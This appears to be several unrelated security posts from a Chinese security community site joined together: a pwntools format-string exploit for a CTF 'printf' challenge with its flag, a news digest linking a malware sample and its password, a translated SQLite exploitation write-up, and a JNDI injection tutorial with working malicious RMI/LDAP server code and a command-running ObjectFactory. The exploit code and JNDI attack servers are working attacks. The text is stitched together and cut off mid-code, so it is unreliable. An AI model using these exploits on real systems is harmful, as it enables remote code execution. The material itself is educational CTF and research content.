tube.rr = tube.recvregex
tube.irt = tube.interactive
if DEBUG == 1:
if context.arch == "i386":
libc = ELF("/lib/i386-linux-gnu/libc.so.6",checksec=False)
elif context.arch == "amd64":
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
s = process("./printf")
elif DEBUG == 2:
if context.arch == "i386":
libc = ELF("/root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x86/libc.so.6",checksec=False)
os.system("patchelf --set-interpreter /root/toolchain/elf/glibc/x86/glibc-"+str(LIBCV)+"/x86/ld-linux-x86-64.so.2 printf")
os.system("patchelf --set-rpath /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x86:/libc.so.6 printf")
elif context.arch == "amd64":
#libc = ELF("/root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64/libc.so.6",checksec=False)
#os.system("patchelf --set-interpreter /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64/ld-linux-x86-64.so.2 printf")
#os.system("patchelf --set-rpath /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64:/libc.so.6 printf")
libc = ELF("./libc.so.6")
os.system("patchelf --set-interpreter /root/workspace/elf/ld-linux-x86-64-b6d3f5f70ba36f736a596a01829be4d619e373b4167b513d634c044ac7d74b94.so.2 printf")
os.system("patchelf --set-rpath /root/workspace/elf:/libc.so.6 printf")
s = process("./printf")
elif DEBUG == 3:
libc = ELF("./libc.so.6",checksec=False)
ip = "printf.chal.ctf.westerns.tokyo"
port = 10001
s = remote(ip,port)
def clean():
s.close()
if DEBUG == 2:
if context.arch == "i386":
os.system("patchelf --set-interpreter /lib/ld-linux.so.2 printf")
os.system("patchelf --set-rpath /lib/i386-linux-gnu:/libc.so.6 printf")
if context.arch == "amd64":
os.system("patchelf --set-interpreter /lib64/ld-linux-x86-64.so.2 printf")
os.system("patchelf --set-rpath /lib/x86_64-linux-gnu:/libc.so.6 printf")
def pwn():
#zx(0x130B)
#pause()
pl = "%lx "*((0x100-4)/4)#64
s.sla("What's your name?", pl)
s.ru("Hi, \n")
leak = s.ru("Do").split(" ")
libc.address = int(leak[2],16) - 0x10d024
stack = int(leak[39],16)
canary = int(leak[40],16)
proc_base = int(leak[41],16) - 0x2a40
one_gadget = libc.address + 0xe2383
info("libc.address 0x%x", libc.address)
info("stack 0x%x", stack)
info("canary 0x%x", canary)
info("proc_base 0x%x", proc_base)
info("one_gadget 0x%x", one_gadget)
atexit_stack_diff = stack - (libc.address + 0x1e66c8) - 0x390 + 8
info("atexit_stack_diff 0x%x", atexit_stack_diff)
pl = "%{}x{}".format(atexit_stack_diff, p64(one_gadget))
s.ru("comment?")
s.sl(pl)
s.irt()
#clean()
# TWCTF{Pudding_Pudding_Pudding_purintoehu}
if __name__ == "__main__":
pwn()
pwn~ | 社区文章 |
# 1月13日安全热点–Intel的AMT安全问题/DNS篡改恶软OSX/MaMi
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
2018年才过去两周，就迎来了macOS平台的DNS篡改恶意软件OSX/MaMi
<https://www.bleepingcomputer.com/news/apple/the-first-mac-malware-of-2018-is-a-dns-hijacker-called-mami/>
<https://www.tomsguide.com/us/mami-mac-malware,news-26451.html>
这个恶意软件的信息最早出现在malwarebytes的论坛上（一个网友不小心安装了什么然后他的DNS就被篡改了）
<https://forums.malwarebytes.com/topic/218198-dns-hijacked/>
该恶意软件以未签名的Mach-O 64位二进制文件的形式分发，现在VirusTotal上可已经可以检测到（16/59）
<https://www.virustotal.com/#/file/5586be30d505216bdc912605481f9c8c7bfd52748f66c5e212160f6b31fd8571/detection>
样本下载：<https://objective-see.com/downloads/malware/MaMi.zip>
解压密码：infect3d
objective-see对macOS平台的DNS篡改恶意软件OSX/MaMi的分析
<https://objective-see.com/blog/blog_0x26.html>
F-Secure的Harry
Sintonen发现了Intel的AMT中一个安全问题，该问题可导致攻击者在几秒钟内完全控制用户的设备，影响全球数百万台企业笔记本电脑。Harry解释了这个问题，并建议了应该如何缓解。
<https://thehackernews.com/2018/01/intel-amt-vulnerability.html>
<https://business.f-secure.com/intel-amt-security-issue>
演示视频：
您的浏览器不支持video标签
本周勒索软件盘点
<https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-january-12th-2018-ethereum-and-small-variants/>
Google Play的游戏应用中发现了投放色情广告的恶意软件
<https://blog.checkpoint.com/2018/01/12/childrens-apps-google-play-display-porn-ads/>
## 技术类
CVE-2018-0802的PoC
<https://github.com/zldww2011/CVE-2018-0802_POC>
How I exploited ACME TLS-SNI-01 issuing Let’s Encrypt SSL-certs for any domain
using shared hosting
<https://labs.detectify.com/2018/01/12/how-i-exploited-acme-tls-sni-01-issuing-lets-encrypt-ssl-certs-for-any-domain-using-shared-hosting/>
IDACyber：一款IDA Pro数据可视化插件
<https://github.com/patois/IDACyber>
CVE-2018-1000001：libc的realpath() buffer underflow
<https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/>
邮件列表：
<http://seclists.org/oss-sec/2018/q1/38>
<http://seclists.org/oss-sec/2018/q1/42>
看我如何结合两个漏洞拿到雅虎账号的通讯录
<http://www.sxcurity.pro/2018/01/11/chaining-yahoo-bugs/>
演示视频：
您的浏览器不支持video标签
2017 SANS Holiday Hack Challenge Writeup
<https://0xd13a.github.io//2017-SANS-Holiday-Hack-Challenge-Writeup/>
Zone transfers in The Netherlands
<https://binaryfigments.com/2018/01/12/zone-transfers-in-the-netherlands/> | 社区文章 |
# tl;dr
SQLite是世界上部署最多的软件之一。然而，从安全的角度来看，它只是通过WebSQL和浏览器开发的视角来进行安全检查。对于安全检查来说，这只是冰山一角。
在我们的长期研究中，我们尝试了在SQLite中利用内存损坏问题，而不依赖SQL语言以外的任何环境。使用我们创新的查询劫持和面向查询编程技术，我们证明了能够在SQLite引擎中利用内存损坏问题。我们将在几个实际场景中演示这些技术:pwning密码窃取者后端服务器，以及使用更高的权限实现IOS持久性。
我们希望发布我们的研究方法，能对其他安全从业人员有所启发，继续在无数可用的场景中审查SQLite。鉴于SQLite实际上是嵌入到每个主要的操作系统(桌面或移动)，因此审计的机会还是非常多的。此外，这里提供的许多原语并不是SQLite独有的，可以移植到其他SQL引擎。
# 动机
这项研究开始时，[omriher](https://twitter.com/omriher?lang=en
"omriher")和我正在查看一些由臭名昭著的密码窃取程序泄露的源代码。虽然存在很多密码窃取程序(Azorult、Loki
Bot和Pony等)，但他们的操作方式基本上是相同的：
计算机感染恶意软件，恶意软件在使用凭据时捕获凭据，或者收集由各种客户端维护的存储凭据。
客户端软件使用SQLite数据库的情况并不少见。
在恶意软件收集到这些SQLite文件后，它会将它们发送到C2服务器，在那里使用PHP对它们进行解析，并将其存储在包含所有被盗凭据的集合数据库中。
审计这些密码窃取程序泄露的源代码，我们开始猜测上面描述的攻击面。
这些攻击会带来很大的影响，因为SQLite是目前部署最广泛的软件之一。
一个令人惊讶的复杂代码库，可在几乎任何设备中使用。这还不值得我们为此研究一番吗？
# SQLite简介
你可能没有意识到，你现在此刻正在使用SQLite的可能性很高。
SQLite是一个C语言库，它实现了一个 小型， 快速， 自包含， 高可靠性， 功能齐全的
SQL数据库引擎。SQLite是世界上使用最多的数据库引擎。它内置于所有移动电话和大多数计算机中，并且捆绑在人们每天使用的无数其他应用程序中。
与大多数其他SQL数据库不同，SQLite没有单独的服务器进程。SQLite直接读写普通磁盘文件。包含多个表、索引、触发器和视图的完整SQL数据库包含在单个磁盘文件中。
# 攻击面
鉴于我们控制数据库及其内容，我们可以将可用的攻击面分为两部分：数据库的加载和初始解析，以及对数据库执行的SELECT查询。
sqlite3_open完成的初始加载实际上是一个非常有限的攻击面，
它基本上是很多用于打开数据库的设置和配置代码；最主要的攻击面是[头](https://www.sqlite.org/fileformat.html#the_database_header
"头")解析，针对AFL的测试。
当我们开始查询数据库时，事情变得更加有趣。
使用SQLite作者的话：
“SELECT语句是SQL语言中最复杂的命令。
尽管我们无法控制查询本身(因为它在我们的目标中是硬编码的)，但仔细研究SELECT过程是一个必不可少的过程。
由于SQLite3是虚拟机，因此必须首先使用一个`sqlite3_preare*`例程将每个SQL语句编译成字节码程序。
在其余操作中，prepare函数遍历并扩展所有SELECT子查询。此过程的一部分是验证所有相关对象(如表或视图)是否确实存在，并在主模式中定位它们。
# sqlite_master和DDL
每个SQLite数据库都有一个sqlite_master表，该表定义了数据库及其所有对象(例如表、视图、索引等)的模式。sqlite_master表定义为：
我们特别感兴趣的部分是sql列。
此字段是用于描述对象的DDL(数据定义语言)。
在某种意义上，DDL命令类似于C头文件。DDL命令用于定义数据库中数据容器的结构、名称和类型，就像头文件通常定义类型定义、结构、类和其他数据结构一样。
如果我们检查数据库文件，这些DDL语句实际上以纯文本形式出现：
在查询准备期间，sqlite3LocateTable（）尝试查找描述我们感兴趣的查询表的内存结构。
sqlite3LocateTable()读取sqlite_master中可用的模式，如果这是第一次这样做，它还会对每个结果j进行回调，以验证DDL语句是否有效，并构建必要的内部数据结构来描述所讨论的对象。
# DDL补丁
当我们了解了这个过程后，不禁要问到，我们可以简单地替换文件中以纯文本形式出现的DDL吗？
如果我们可以将我们自己的SQL注入到文件中，也许我们可以影响它的行为。
基于上面的代码片段，DDL语句似乎必须以“create”开头。
检查SQLite的文档发现，我们可以创建以下对象：
CREATE
VIEW命令给了我们一个有趣的想法。简单来说，VIEW只是预先打包的SELECT语句。如果我们用兼容的VIEW替换目标软件所期望的表，那么有趣的机会就会显露出来。
# 劫持任何查询
想象一下以下场景：
原始数据库有一个名为dummy的表，其定义为：
目标软件使用以下内容对其进行查询：
如果我们将dummy作为view，我们实际上可以劫持这个查询：
这个“陷阱”view使我们能够劫持查询-这意味着我们生成了一个完全由我们控制的全新查询。
这种细微差别极大地扩展了我们的攻击面，从极小的头解析和加载软件执行的无法控制的查询，到现在我们可以通过修补DDL并使用子查询创建我们自己的view来与SQLite解释器的大部分进行交互。
现在我们可以与SQLite解释器进行交互，我们的下一个问题是SQLite中内置了哪些开发原语？它是否允许任何系统命令，从文件系统读取或写入文件系统？
由于我们不是第一个从exploitation角度注意到SQLite的人，所以回顾以前在该领域所做的工作是很有必要的。我们从最基本的开始。
# SQL注入
我们希望熟悉SQLite提供的内部原语。有什么系统命令？我们可以加载任意库吗？
[看起来](http://atta.cked.me/home/sqlite3injectioncheatsheet
"看起来")最直接的技巧是附加一个新的数据库文件，并使用如下方式向其写入：
我们附加一个新数据库，创建单个表并插入单行文本。然后，新数据库创建一个新文件(因为数据库是SQLite中的文件)，其中包含我们的Web shell。
PHP解释器非会解析我们的数据库，直到PHP的开始标记“<？”。
但是，DDL不能以“ATTACH”开头
另一个相关选项是load_extension函数。虽然此函数应该允许我们加载任意共享对象，但默认情况下它是禁用的。
# SQLite中的内存损坏
与任何其他用C编写的软件一样，在评估SQLite的安全性时，内存安全问题绝对是需要考虑的问题。
在他伟大的[博客文章](https://lcamtuf.blogspot.com/2015/04/finding-bugs-in-sqlite-easy-way.html
"博客文章")中，michałzalewski描述了他如何用afl对sqlite进行模糊测试，以获得一些令人印象深刻的结果：在仅仅30分钟的模糊测试中出现了22个bug。
有趣的是，SQLite从此开始使用AFL作为其卓越测试套件中不可或缺的一部分。
这些内存损坏问题都得到了应有的重视，但是，从攻击者的角度来看，如果没有合适的框架来利用这些漏洞，这些漏洞存在与否基本没有任何差别。
现代缓解技术在利用内存损坏问题方面构成了一个主要障碍，攻击者需要找到一个更灵活的环境。
安全研究社区很快就会找到完美的目标！
# Web SQL
Web SQL数据库是一种网页API，用于将数据存储在数据库中，可以通过JavaScript使用SQL的变体进行查询。W3C
Web应用程序工作组在2010年11月停止了该规范的工作，理由是缺少SQLite以外的独立实现。
目前，该API仍受Google Chrome、Opera和Safari的支持。
他们都使用SQLite作为该API的后端。
在一些最流行的浏览器中，任何网站都可以访问SQLite中不受信任的输入，这引起了安全社区的注意，因此，漏洞的数量开始上升。
突然之间，JavaScript解释器可以利用SQLite中的bug来实现浏览器漏洞利用。
已经发表了几份令人印象深刻的研究报告：
如[CVE-2015-7036](https://nvd.nist.gov/vuln/detail/CVE-2015-7036
"CVE-2015-7036")。
不受信任的指针取消引用fts3_tokenizer()。
Chaitin团队在Blackhat
17中展示的[更复杂的利用](https://www.blackhat.com/docs/us-17/wednesday/us-17-Feng-Many-Birds-One-Stone-Exploiting-A-Single-SQLite-Vulnerability-Across-Multiple-Software.pdf "更复杂的利用")。
fts3OptimizeFunc()中的类型混淆
Exodus最近利用的麦哲伦[漏洞](https://blog.exodusintel.com/2019/01/22/exploiting-the-magellan-bug-on-64-bit-chrome-desktop "漏洞")。
fts3SegReaderNext（）中的整数溢出
过去WebSQL的研究中表明，名为“FTS”的虚拟表模块可能是我们研究的重点。
# FTS
全文搜索(Full-text search，FTS)是一个虚拟表模块，允许对一组文档进行文本搜索。
从SQL语句的角度来看，虚拟表对象看起来像任何其他表或视图。但是在幕后背后，虚拟表上的查询调用影子表上的回调方法，而不是通常对数据库文件的读写。
一些虚拟表实现，如FTS，利用真实(非虚拟)数据库表来存储内容。
例如，当将字符串插入到FTS3虚拟表中时，必须生成一些元数据以允许高效的文本搜索。
此元数据最终存储在名为`%_Segdir`和`%_Segments`的实表中，而内容本身存储在`%_content`中，其中`%`是原始虚拟表的名称。
这些包含虚拟表数据的辅助实表称为“影子表”
由于它们的信任性质，在影子表之间传递数据的接口为bug提供了肥沃的土壤。CVE-2019-8457-我们在RTREE虚拟表模块中发现的一个新的OOB读取漏洞，很好地证明了这一点。
用于地理索引的RTREE虚拟表应该以整型列开头。因此，其他RTREE接口期望RTREE中的第一列是整数。然而，如果我们创建一个表，其中第一列是字符串，如下图所示，并将其传递给rtreenode()接口，则会发生OOB读取。
现在我们可以使用查询劫持来获得对查询的控制，并且知道在哪里可以找到漏洞，现在是时候利用漏洞了。
# SQLite Internals For Exploit Development
以前关于SQLite漏洞利用的文章清楚地表明包装封装环境总是有必要的，无论是这篇关于滥用SQLite令牌生成器的[博客文章](https://medium.com/0xcc/bypass-php-safe-mode-by-abusing-sqlite3s-fts-tokenizer-256ee2555607
"博客文章")中看到的PHP解释器，还是使用JavaScript解释器在Web SQL上的相关工作，封装环境总是非常有必要。
很多安全社区很擅长利用JavaScript进行漏洞利用开发，那么我们可以用SQL实现类似的原语吗
考虑到SQL是图灵完备的([[1]](http://assets.en.oreilly.com/1/event/27/High%252520Performance%252520SQL%252520with%252520PostgreSQL%252520Presentation.pdf
"\[1\]")，[[2]](http://wiki.postgresql.org/wiki/Mandelbrot_set
"\[2\]"))，基于我们的pwning经验为漏洞利用开发创建一个原始列表。
内存泄漏。
将整数打包和解包到64位指针。
指针算法。
在内存中创建复杂的假对象。
堆喷射
我们将逐一解决这些原语，并使用SQL来实现它们
为了在PHP7上实现RCE，我们将利用尚未被修复的1-day
[CVE-2015-7036](https://nvd.nist.gov/vuln/detail/CVE-2015-7036
"CVE-2015-7036")。
为什么一个4年多的bug还未被修复？
只有在允许来自不受信任的源(Web SQL)的任意SQL的程序上下文中，此bug才容易被触发，因此相应地减轻了它的影响。
然而，SQLite的使用是如此多用途，以至于我们实际上仍然可以在许多场景中触发它。
# Exploitation Game-plan
CVE-2015-7036是一个非常好利用的bug。
简而言之，易受攻击的fts3_tokenizer()函数在使用单个参数(如“simple”、“porter”或任何其他已注册的tokenizer)调用时返回tokenizer地址。
当用2个参数调用fts3_tokenizer时，fts3_tokenizer会用第二个参数中的blob提供的地址覆盖第一个参数中的 tokenizer地址。
在重写某个tokenizer之后，使用该tokenizer的FTS表的任何新实例都允许我们劫持程序的流。
我们的漏洞利用计划：
泄漏tokenizer地址。
计算基地址。
伪造一个将执行我们的恶意代码的假tokenizer。
用我们的恶意tokenizer覆盖其中一个tokenizer。
实例化fts3表来触发恶意代码
## 面向查询编程©
我们很自豪地提出我们自己独特的方法来利用我们熟悉的结构化查询语言进行漏洞开发。
我们与社区分享QoP，希望鼓励研究人员追求数据库引擎开发的无限可能性。
下面的每个原语都附带一个来自sqlite3 shell的示例。
我们的最终目标是将所有这些原语放置在sqlite_master表中，并劫持加载和查询恶意SQLite db文件的目标软件发出的查询。
## 内存泄漏-二进制
诸如ASLR之类的减轻无疑提高了内存破坏利用的门槛。绕过它的一个常见方法是了解我们周围的内存布局。
这被广泛称为内存泄漏。
内存泄漏是它们自己的漏洞子类，每个漏洞的设置都略有不同。
在我们的示例中，泄漏是SQLite返回一个BLOB。
这些blob是一个很好的泄漏目标，因为它们有时包含内存指针
易受攻击的fts3_tokenizer()使用单个参数调用，并返回请求的令牌化器的 tokenizer. hex()被人们读取。
我们显然得到了一些内存地址，但由于小字节序而被反转。
当然，我们可以使用一些SQLite内置的字符串操作来反转它。
substr()似乎非常适合！我们可以读取小字节序BLOB，但这提出了另一个问题：我们如何存储东西？
## QOP链
自然，在SQL中存储数据需要INSERT语句。由于sqlite_master经过了严格的验证，我们不能使用INSERT，因为所有语句都必须以“create”开头。我们应对这个挑战的方法是简单地将我们的查询存储在一个有意义的VIEW下，并将它们链接在一起。
这可能看起来没有什么大不同，但是随着我们的链条变得越来越复杂，能够使用伪变量肯定会让攻击链越来越容易。
## 解包64位指针
如果您曾经做过任何pwning CTF，那么指针的打包和解包的概念应该不陌生。
这个原语应该可以轻松地将十六进制值(就像我们刚刚实现的泄漏)转换为整数。这样做允许我们在接下来的步骤中对这些指针执行各种计算。
此查询使用substr()以反向方式逐个字符迭代十六进制字符串。
使用这个聪明的技巧，只需对基于1的instr()进行少量调整，就可以完成这个字符的转换。
现在所需要的就是`*`符号右边的进行适当移位。
## 指针算法
指针算术是一项相当容易实现的任务，有整数就可以了。例如，从泄漏的tokenizer指针中提取图像库非常简单，如下所示：
## 打包64位指针
在读取泄漏的指针并按照我们的意愿操作它们之后，将它们打包回它们的little-endian形式是非常有必要的，这样我们就可以在某个地方编写它们。
SQLite char()在这里应该有用，因为它的文档声明它将“返回由具有整数的Unicode码点值的字符组成的字符串”。
在有限范围整数内，char()表现的非常完美。
较大的整数被转换为其2字节的代码点。
在与SQLite文档发生冲突之后，我们突然有了一个奇秒的想法:我们的漏洞实际上是一个数据库
我们可以事先准备一个表，将整数映射到它们的期望值。
现在我们的指针打包查询如下：
## 在内存中制作复杂的伪对象
编写单个指针肯定有用，但仍然不够。许多内存安全问题利用场景要求攻击者伪造内存中的某些对象或结构，甚至编写ROP链。
我们将对前面介绍的几个构建块进行字符串处理。
例如，让我们伪造我们自己的tokenizer，[原因在此](https://www.sqlite.org/fts3.html#custom_application_defined_tokenizers
"原因在此")。
我们的伪tokenizer应该符合SQLite在这里定义的预期接口：
使用上面描述的方法和一个简单的连接查询，我们能够很容易地伪造所需的对象。
在低级调试器中验证结果时，我们看到确实创建了一个假的tokenizer对象。
## 堆喷射
现在我们制作了这个伪对象，有时候用它来进行堆喷射非常有用。
不幸的是，SQLite没有像MySQL那样实现REPEAT（）函数。
然而，[这个](https://stackoverflow.com/questions/11568496/how-to-emulate-repeat-in-sqlite "这个")线程给了我们一个优雅的解决方案。
[zeroblob(N)](https://www.sqlite.org/lang_corefunc.html#zeroblob
"zeroblob\(N\)")函数返回一个由N个字节组成的blob，而我们使用replace()将这些零替换为我们的伪对象。
搜索这些0x41表明我们也获得了完美的一致性。注意每0x20字节重复一次。
## 内存泄漏 - 堆
我们已经知道二值图像的位置，我们能够推断出必要的函数在哪里，并向堆中喷射恶意的tokenizer。
现在是时候用我们的一个喷射的对象覆盖一个tokenizer。然而，由于堆地址也是随机化的，我们不知道我们的喷射被分配到哪里。
堆泄漏要求我们有另一个漏洞。
同样，我们将以虚拟表接口为目标。
由于虚拟表使用底层影子表，所以在不同的SQL接口之间传递原始指针是很常见的。
注意:[SQLite 3.20](https://www.sqlite.org/bindptr.html "SQLite
3.20")减轻了这种类型的问题。幸运的是，PHP7是用较早的版本编译的。如果是更新版本，这里也可以使用CVE-2019-8457。
要泄漏堆地址，我们需要预先生成一个fts3表，并滥用它的MATCH接口。
正如我们在第一次内存泄漏中看到的那样，指针是小字节序，因此需要反转。幸运的是，我们已经知道如何使用SUBSTR()做到这一点。现在我们知道了堆的位置，并且可以正确地喷射，我们终于可以用我们的恶意tokenizer覆盖一个tokenizer了！
# 把它们放在一起
有了所有想要的漏洞利用原语，是时候回到我们开始的地方了：利用密码窃取器C2。
如上所述，我们需要设置一个“陷阱”VIEW来启动我们的攻击。因此，我们需要审计我们的目标，准备正确的VIEW。
如上面的代码片段所示，我们的目标期望我们的数据库有一个名为Notes的表，其中包含一个名为BodyRich的列。为了劫持这个查询，我们创建了以下VIEW.
在查询Notes之后，执行3个QOP链。我们来分析第一个
# heap_spray
我们的第一个QOP链应该用大量的恶意tokenizer填充堆。
p64_simple_create、p64_simple_destroy和p64_system本质上都是通过我们的泄漏和打包功能实现的链。
例如，p64_simple_create构造为：
由于这些链变得非常复杂,并且非常重复，我们创建了[QOP.py](https://github.com/CheckPointSW/QueryOrientedProgramming/
"QOP.py")。
通过以pwntools风格生成这些查询，QOP.py使构造链变得更简单。
创建前面的语句变得非常简单，
# Demo
<https://youtu.be/cPfYoxLOi1M>
# iOS持久性
在iOS上很难实现持久化，因为所有可执行文件都必须作为苹果安全启动的一部分进行签名。幸运的是，SQLite数据库没有签名。
利用我们的新功能，我们将用恶意版本替换其中一个常用的数据库。在设备重新启动并查询恶意数据库之后，我们将获得代码执行。
为了演示这个概念，我们替换了Contacts
DB“AddressBook.sqlitedb”。正如在PHP7中利用漏洞一样，我们创建了两个额外的DDL语句。一个DDL语句覆盖默认的
tokenizer“simple”，另一个DDL语句通过尝试实例化被覆盖的
tokenizer来触发崩溃。现在，我们所要做的就是将原始数据库的每个表重写为一个VIEW，该VIEW可以劫持执行的任何查询，并将其重定向到我们的恶意DDL。
将contacts db替换为我们的恶意contacts db并重新启动，会导致以下iOS 崩溃转储:
正如预期的那样，contacts进程在0x4141414141414149处崩溃，在那里可以找到我们的伪造tokenizer的xCreate构造函数。此外，contacts
DB实际上在许多进程之间共享。Contacts、Facetime、Springboard、WhatsApp、Telegram和XPCProxy只是查询它的一些进程。其中一些进程比其他进程更有特权。一旦证明我们可以在查询过程的上下文中执行代码，这种技术也允许我们扩展和提升我们的特权。
我们的研究和方法都已负责任地向苹果披露，并被分配了以下CVE：
CVE-2019-8600
CVE-2019-8598
CVE-2019-8602
CVE-2019-8577
# 未来展望
考虑到SQLite实际上是几乎所有平台的内置，我认为在挖掘漏洞方面，我们仅仅触及了冰山一角。我们希望安全社区将采取这种创新的研究和发布的工具，并进一步发展它。我认为接下来还可以做以下工作，
挖掘更多的漏洞，这可以通过使用sqlite_version()或sqlite_Compileoption_used()等函数从预制表中选择相关QoP小工具来动态构建漏洞利用。
实现更强的漏洞利用原语，如任意R/W。
寻找查询程序无法验证数据库可靠性的其他场景。
# 总结
我们确定，简单地查询数据库可能并不像您期望的那样安全。使用我们的查询劫持和面向查询编程的创新技术，我们证明SQLite中的内存损坏问题现在可以可靠地被利用。随着权限层次结构比以往任何时候都更加细分，很明显，我们必须重新考虑受信任/不受信任的SQL输入的边界。为了演示这些概念，我们在运行PHP7的密码窃取器后端上实现了远程代码执行，并在IOS上获得了更高权限的持久性。这只是冰山一角。
原文：https://research.checkpoint.com/select-code_execution-from-using-sqlite/ | 社区文章 |
# JNDI基础
JNDI的有关类：
InitialContext类：
InitialContext()
构建一个初始上下文。
InitialContext(boolean lazy)
构造一个初始上下文，并选择不初始化它。
InitialContext(Hashtable<?,?> environment)
使用提供的环境构建初始上下文。
InitialContext initialContext = new InitialContext();
> 常用方法:
>
>
> bind(Name name, Object obj)
> 将名称绑定到对象。
> list(String name)
> 枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
> lookup(String name)
> 检索命名对象。
> rebind(String name, Object obj)
> 将名称绑定到对象，覆盖任何现有绑定。
> unbind(String name)
> 取消绑定命名对象。
>
>
> Reference类：
> ```java
> 该类也是在javax.naming的一个类，该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。
> 构造方法：
Reference(String className)
为类名为“className”的对象构造一个新的引用。
Reference(String className, RefAddr addr)
为类名为“className”的对象和地址构造一个新引用。
Reference(String className, RefAddr addr, String factory, String
factoryLocation)
为类名为“className”的对象，对象工厂的类名和位置以及对象的地址构造一个新引用。
Reference(String className, String factory, String factoryLocation)
为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。
> 代码：
```java
String url = "http://127.0.0.1:8080";
Reference reference = new Reference("test", "test", url);
参数1：className - 远程加载时所使用的类名
参数2：classFactory - 加载的class中需要实例化类的名称
参数3：classFactoryLocation - 提供classes数据的地址可以是file/ftp/http协议
> 常用方法：
>
>
> void add(int posn, RefAddr addr)
> 将地址添加到索引posn的地址列表中。
> void add(RefAddr addr)
> 将地址添加到地址列表的末尾。
> void clear()
> 从此引用中删除所有地址。
> RefAddr get(int posn)
> 检索索引posn上的地址。
> RefAddr get(String addrType)
> 检索地址类型为“addrType”的第一个地址。
> Enumeration<RefAddr> getAll()
> 检索本参考文献中地址的列举。
> String getClassName()
> 检索引用引用的对象的类名。
> String getFactoryClassLocation()
> 检索此引用引用的对象的工厂位置。
> String getFactoryClassName()
> 检索此引用引用对象的工厂的类名。
> Object remove(int posn)
> 从地址列表中删除索引posn上的地址。
> int size()
> 检索此引用中的地址数。
> String toString()
> 生成此引用的字符串表示形式。
>
# JNDI+RMI
> 客户端（被攻击者）：
> ```java
> package com.naihe;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class JNDIS {
public static void main(String[] args) throws Exception {
try {
Registry registry = LocateRegistry.createRegistry(1099);
Reference aa = new Reference("Calc", "Calc", "<http://127.0.0.1/>");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
registry.bind("hello", refObjWrapper);
} catch (Exception e) {
e.printStackTrace();
}
}
}
> 服务端（攻击者）：
```java
package com.naihe;
import javax.naming.Context;
import javax.naming.InitialContext;
public class JNDIC {
public static void main(String[] args) {
try {
////高版本gdk默认是关闭ldap远程加载class文件的，需要设置com.sun.jndi.rmi.object.trustURLCodebase
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
String uri = "rmi://127.0.0.1:1099/hello";
Context ctx = new InitialContext();
ctx.lookup(uri);
} catch (Exception e) {
e.printStackTrace();
}
}
}
> 恶意类：
import java.lang.Runtime;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
public class Calc implements ObjectFactory {
public Calc() {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
}
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
Runtime.getRuntime().exec("calc");
return null;
}
}
> 流程分析：
> 通过rmi获取一个Reference对象
> 进入第一个loadClass方法
> 在这里本地加载是加载不到的因此会返回null,进入第二个loadClass方法
> 这里可以看到已经使用url类加载器远程加载class文件，并生成一个类加载器
进入newInstance方法
返回的对象是一个URLclassLoader类
使用cl这个URLClassLoader生成一个被远程调用的类的class对象
利用反射无产构造创建对象
这里也会调用反射生成的对象的getObjectInstance方法
# JNDI+LDAP
> 服务端：
> ```java
> package com.naihe3;
> import java.net.InetAddress;
> import java.net.MalformedURLException;
> import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import
com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
public class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] argsx) {
String[] args = new String[]{"http://127.0.0.1/#Calc"};
int port = 7777;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
